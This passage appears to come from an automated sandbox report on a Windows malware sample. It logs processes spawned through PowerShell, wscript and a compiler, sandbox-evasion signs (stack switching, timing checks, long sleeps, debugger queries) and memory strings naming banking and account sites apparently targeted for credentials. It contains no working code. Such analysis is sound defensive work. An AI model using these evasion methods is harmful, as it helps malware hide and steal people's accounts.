Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\ieUnatt.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\ieUnatt.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\ieUnatt.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\ieUnatt.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\ieUnatt.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\ieUnatt.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\ieUnatt.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\ieUnatt.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 10_2_0159096E rdtsc

10_2_0159096E

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7076	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2583	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4090	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5639	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Window / User API: threadDelayed 9842	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\ieUnatt.exe	API coverage: 3.0 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4144	Thread sleep count: 7076 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4144	Thread sleep count: 2583 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1396	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3356	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe TID: 2412	Thread sleep count: 131 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe TID: 2412	Thread sleep time: -262000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe TID: 2412	Thread sleep count: 9842 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe TID: 2412	Thread sleep time: -19684000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\ieUnatt.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\ieUnatt.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\ieUnatt.exe

Code function: 12_2_0322BFD0 FindFirstFileW,FindNextFileW,FindClose,

12_2_0322BFD0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000007.00000002.2502673117.000000000A9F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 4']qemU
Source: N78Im7H.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: wscript.exe, 00000006.00000003.2166330958.0000000005246000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\*c
Source: N78Im7H.12.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: N78Im7H.12.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: N78Im7H.12.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: N78Im7H.12.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: N78Im7H.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: mshta.exe, 00000000.00000003.2060269881.000000000648B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000003.00000002.2203495481.0000000008AF1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.2191950238.000000000356D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: N78Im7H.12.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: N78Im7H.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: N78Im7H.12.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: N78Im7H.12.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: N78Im7H.12.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: N78Im7H.12.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: N78Im7H.12.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: N78Im7H.12.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: N78Im7H.12.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: powershell.exe, 00000007.00000002.2447951810.0000000007768000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3292845378.000000000343A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 0000000F.00000002.2805119125.000002602A5EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll99
Source: N78Im7H.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: N78Im7H.12.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: N78Im7H.12.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: N78Im7H.12.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: N78Im7H.12.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: N78Im7H.12.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: wscript.exe, 00000006.00000003.2166330958.0000000005246000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: xwZkSdnVCDBnu.exe, 0000000E.00000002.3293804938.00000000014EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: N78Im7H.12.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: N78Im7H.12.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: N78Im7H.12.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: N78Im7H.12.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: N78Im7H.12.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: N78Im7H.12.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: N78Im7H.12.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: N78Im7H.12.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: N78Im7H.12.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: N78Im7H.12.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process queried: DebugPort			Jump to behavior
